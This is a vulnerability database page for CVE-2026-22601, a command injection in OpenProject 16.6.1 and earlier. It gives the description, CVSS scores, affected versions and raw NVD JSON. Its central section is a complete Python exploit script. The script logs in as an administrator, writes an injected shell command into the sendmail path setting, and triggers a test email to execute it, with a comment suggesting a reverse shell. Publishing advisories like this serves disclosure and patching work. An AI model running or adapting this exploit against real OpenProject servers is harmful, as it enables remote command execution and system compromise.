Security Vulnerability Report
中文
CVE-2026-22601 CVSS 7.2 HIGH

CVE-2026-22601

Published: 2026-01-10 02:15:49
Last Modified: 2026-01-14 22:26:04

Description

OpenProject is an open-source, web-based project management software. For OpenProject version 16.6.1 and below, a registered administrator can execute arbitrary command by configuring sendmail binary path and sending a test email. This issue has been patched in version 16.6.2.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:openproject:openproject:*:*:*:*:*:*:*:* - VULNERABLE
OpenProject <= 16.6.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-22601 PoC - OpenProject Remote Code Execution Description: OpenProject <= 16.6.1 allows administrators to execute arbitrary commands via sendmail binary path configuration. Usage: python3 CVE-2026-22601_poc.py -t TARGET -u USERNAME -p PASSWORD """ import argparse import requests import json import re def login(target, username, password): """Authenticate to OpenProject and get session cookies""" session = requests.Session() login_url = f"{target}/login" # Get CSRF token response = session.get(login_url) csrf_token = re.search(r'name="_csrf_token" value="([^"]+)"', response.text) if not csrf_token: print("[-] Failed to get CSRF token") return None # Login request login_data = { "username": username, "password": password, "_csrf_token": csrf_token.group(1), "login": "" } response = session.post(login_url, data=login_data, allow_redirects=False) if response.status_code in [302, 303]: print(f"[+] Login successful: {username}") return session else: print("[-] Login failed") return None def exploit(session, target, command): """Exploit CVE-2026-22601 by configuring malicious sendmail path""" settings_url = f"{target}/settings/plugin/openproject" # Get current settings page response = session.get(settings_url) csrf_token = re.search(r'name="_csrf_token" content="([^"]+)"', response.text) if not csrf_token: csrf_token = re.search(r'meta content="([^"]+)" name="csrf-token"', response.text) # Prepare malicious payload # Example:反弹shell command malicious_path = f";{command};" # Update email settings with malicious sendmail path settings_data = { "settings[sendmail_location]": malicious_path, "_csrf_token": csrf_token.group(1) if csrf_token else "" } response = session.patch(settings_url, data=settings_data) # Trigger test email to execute command test_email_url = f"{target}/settings/plugin/openproject/test_mails" test_data = { "sender_name": "Test", "sender_email": "[email protected]", "_csrf_token": csrf_token.group(1) if csrf_token else "" } response = session.post(test_email_url, data=test_data) print(f"[*] Payload sent, command executed: {command}") print(f"[*] Response status: {response.status_code}") def main(): parser = argparse.ArgumentParser(description='CVE-2026-22601 PoC') parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., http://target.com)') parser.add_argument('-u', '--username', required=True, help='Admin username') parser.add_argument('-p', '--password', required=True, help='Admin password') parser.add_argument('-c', '--command', default='id', help='Command to execute') args = parser.parse_args() # Login session = login(args.target, args.username, args.password) if session: # Exploit exploit(session, args.target, args.command) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22601", "sourceIdentifier": "[email protected]", "published": "2026-01-10T02:15:48.913", "lastModified": "2026-01-14T22:26:03.920", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenProject is an open-source, web-based project management software. For OpenProject version 16.6.1 and below, a registered administrator can execute arbitrary command by configuring sendmail binary path and sending a test email. This issue has been patched in version 16.6.2."}, {"lang": "es", "value": "OpenProject es un software de gestión de proyectos de código abierto basado en la web. Para OpenProject versión 16.6.1 y anteriores, un administrador registrado puede ejecutar comandos arbitrarios configurando la ruta del binario de sendmail y enviando un correo electrónico de prueba. Este problema ha sido parcheado en la versión 16.6.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openproject:openproject:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.6.2", "matchCriteriaId": "BF8C07E6-1B04-4E9E-A12C-8CB0A17A95D5"}]}]}], "references": [{"url": "https://github.com/opf/openproject/releases/tag/v16.6.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/opf/openproject/security/advisories/GHSA-9vrv-7h26-c7jc", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}